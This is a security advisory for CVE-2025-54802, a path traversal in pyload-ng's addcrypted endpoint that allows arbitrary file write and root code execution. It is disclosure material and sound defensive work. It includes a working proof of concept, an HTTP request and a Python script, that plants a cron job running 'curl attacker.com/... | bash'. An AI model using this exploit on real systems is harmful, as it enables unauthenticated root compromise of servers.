ghsa-48rp-jc79-2264
Vulnerability from github
Summary
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details
- Endpoint:
POST /addcrypted - Issue:
src/pyload/webui/app/blueprints/cnl_blueprint.py
Vulnerable Code
python
dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
with open(dlc_path, mode="wb") as fp:
PoC
```http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA== ```
Decoded payload:
bash
* * * * * root curl -s http://attacker.com/r.sh | bash
Send crafted POST ```python import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 }) ```
Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.0b3.dev89"
},
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev90"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-04T15:57:48Z",
"nvd_published_at": "2025-08-05T01:15:42Z",
"severity": "CRITICAL"
},
"details": "### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload\u0026crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n \"package\": \"../../../../etc/cron.d/exploit\",\n \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.",
"id": "GHSA-48rp-jc79-2264",
"modified": "2025-08-05T17:10:50Z",
"published": "2025-08-04T15:57:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54802"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/pull/4596"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.